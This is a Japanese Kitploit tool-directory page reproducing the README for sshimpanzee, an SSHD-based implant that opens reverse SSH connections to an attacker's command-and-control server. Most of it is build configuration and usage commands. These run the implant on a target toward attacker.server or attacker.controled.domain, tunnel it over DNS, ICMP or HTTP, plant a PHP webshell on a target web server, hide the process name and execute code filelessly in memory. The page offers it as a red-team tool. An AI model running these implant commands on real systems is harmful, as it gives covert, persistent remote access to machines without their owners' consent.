Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
sshimpanzee — SSHDベースのインプラントで、C2に到達するためのトンネリングメカニズムをサポート(DNS、ICMP、HTTPカプセル化、HTTP/Socksプロキシ、UDP...) | Kitploit
ツール/GitHubGitHub/lexfo/sshimpanzee
ペイロード生成ポストエクスプロイトネットワークセキュリティコマンド&コントロールレッドチーミングリモートアクセスツールDNS分析
GitHublexfo/sshimpanzee

sshimpanzee

SSHDベースのインプラントで、C2に到達するためのトンネリングメカニズムをサポート(DNS、ICMP、HTTPカプセル化、HTTP/Socksプロキシ、UDP...)

リポジトリを見る
293291年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

Sshimpanzee

__Sshimpanzee__を使用すると、__静的リバースSSHサーバー__を構築できます。 ポートで待機して接続を待つ代わりに、SSHサーバーは攻撃者のIPへのリバース接続を通常のリバースシェルのように開始します。 __Sshimpanzee__を使用すると、通常のSSH接続のすべての機能(ポートフォワーディング、ダイナミックSOCKSプロキシ、FTPサーバーなど)を活用できます。

さらに重要なことは、被害マシンから攻撃者サーバーへの直接接続が不可能な場合、__DNSトンネリング、ICMPトンネリング、HTTPカプセル化__などのさまざまなトンネリングメカニズムを提供します。 また、HTTPおよびSOCKS5プロキシもサポートしています。 lexfoのブログで技術論文が入手できます。

Dockerビルド - 推奨

root@kitploit:~
sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

環境変数 DOCKER_BUILDKIT=1 を有効にする必要があるかもしれません。

コンパイルファイル

ビルドはbuild.yamlファイルに基づいて行われます:

root@kitploit:~

###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

使い方

実行時、sshimpanzeeバイナリは環境変数で設定されます。 MODE変数を使用すると、ユーザーはコンパイルされたトンネルを選択できます。 すべてのトンネルは環境変数で設定できます。 例えば、127.0.0.1:8080への標準的なリバース接続を得るには、次のようにします:

root@kitploit:~
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

-d オプションでデバッグモードでsshimpanzeeを実行できます。 デバッグモードではsshimpanzeeはフォアグラウンドで動作します。

トンネル

現在、sshimpanzeeはインプラントが攻撃者のSSHクライアントに到達するためのいくつかの方法をサポートしています:

  • dns2tcpプロトコルを使用したDNSトンネリング
  • プロキシ : HTTP/SOCKS4/SOCKS5
  • ソケット : (独自のトンネルを実装したい場合に便利かもしれません)
  • ICMPトンネル
  • HTTPカプセル化

Sock接続

  1. クライアント側で次のようにsshを実行します:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. ターゲット上でsshimpanzeeを実行します:
root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

その他の例:

root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # bind and listen to 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket 

プロキシ経由の接続

  1. クライアント側で次のようにsshを実行します:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. ターゲット上でsshimpanzeeを実行します:
root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

その他の例:

root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

DNSトンネリングの使用

  1. サーバー上で、このリポジトリの設定ファイルを使用して標準の__dns2tcpd__を実行します。ドメイン(および必要に応じてリソースポート)を変更する必要があります。
root@kitploit:~
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
root@kitploit:~
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. クライアント側で次のようにsshを実行します:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. sshimpanzeeバイナリを実行します:
root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

その他の例:

root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver

ICMPトンネリングの使用

  1. サーバーで、proxycommandをrootとして実行しないように適切なケーパビリティを追加し、システムからのping応答を無効にします:
root@kitploit:~
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 
  1. icmptunnelをproxycommandとして標準のsshクライアントを実行します:
root@kitploit:~
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 
  1. sshimpanzeeバイナリを実行します:
root@kitploit:~
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

HTTPカプセル化の使用 (ssh -> httpサーバー -> sshd)

  1. /tuns/http_enc/proxy.phpファイルとsshdファイルをターゲットWebサーバーにアップロードします。

  2. proxy.phpが正しく実行されることを確認します。

  3. Webサーバー上でsshdバイナリを実行します:

root@kitploit:~
MODE=http_enc ./sshimpanzee 
  1. クライアントマシンでutils/scripts/にあるPythonスクリプトをプロキシコマンドとしてsshを実行します:
root@kitploit:~
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

proxy_cli.pyには複数の引数を渡してプロキシを追加できます。 現在はPHPのみがサポートされています。JSPサーバーでは、A Black Path Toward The Sun (ABPTTS)を使用することを推奨します。

HTTPカプセル化に関する補足

  1. Proxy.phpは最小限のWebシェルであり、sshdをサーバーにアップロードしてコマンドを実行するために使用できます。proxy_cli.pyには--runと--dropオプションが用意されています。

  2. 大きな入力遅延が発生する可能性があります。これは、sshクライアントから送信されるパケットに1〜5秒の遅延が追加され、大量のHTTPリクエストが生成されるのを防ぐためです。大量のHTTPリクエスト(したがってWebサーバー上の多くのログ)を生成しても構わない場合は、proxy_cli.pyコマンドに--no-bufferオプションを追加してください。

sshimpanzeeクライアントの使用

このリポジトリは、__utils/client/bin__にあるクライアントも提供しています。 utils/client/keys/にあるCLIENTキーをコピーするだけです。

root@kitploit:~
sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session 

sshimpanzee --list #list availaible sessions

sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want

ただし、sshを直接使用するよりも信頼性が低い可能性があります。

独自のトンネルメカニズムの作成

すべてのトンネルはtuns/ディレクトリにあります。別のトンネルを追加したい場合は、tuns/builder.pyにトンネルの名前の関数を追加するだけです。この関数は、必要な数の.oを含むlibtun.aアーカイブを生成し、そのうちの1つがtun()シンボルをエクスポートする役割を担います。 または、自分でlibtun.aをビルドし、no_buildというトンネルを使用して、カスタムlibtun.aへのパスを指定します。

ファイルレス実行の使用

sshimpanzeeがremote-execサブシステムモジュールでビルドされている場合、コードを完全にメモリ内でリモート実行することが可能です。

root@kitploit:~

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

今後の作業

  • その他のトンネルの追加:
    • HTTPカプセル化(http_encとproxy.phpを介した最初のステップ:JSPおよびその他のプログラムの追加)
    • rawソケットを使用したユーザーランドTCP/IPスタック?
    • ICMP : ネットワーク分析による検出を避けるための文字列のXOR/暗号化
    • ポストエクスプロイテーション用サブシステム:
      • プロセスのダンプ
      • TCPスキャン

謝辞

このリポジトリは多くの異なるプロジェクトに依存しています。

  • まず、Openssh-portable (9.1) : https://github.com/openssh/openssh-portable
  • 静的ビルドのためのmusl libc : https://wiki.musl-libc.org/

トンネル用:

  • Dns2tcp : https://github.com/alex-sector/dns2tcp
  • icmptunnel(トンネルの耐障害性を向上させるために大幅に変更): https://github.com/DhavalKapil/icmptunnel.git
  • Proxysocket : https://github.com/brechtsanders/proxysocket

このプロジェクトはそれほど独創的ではないことに注意することが重要です。SSHプロトコルの武器化は数年前にすでに行われています:

  • https://github.com/Marc-andreLabonte/blackbear
  • https://github.com/Fahrj/reverse-ssh
  • https://github.com/NHAS/reverse_ssh
ツールをダウンロード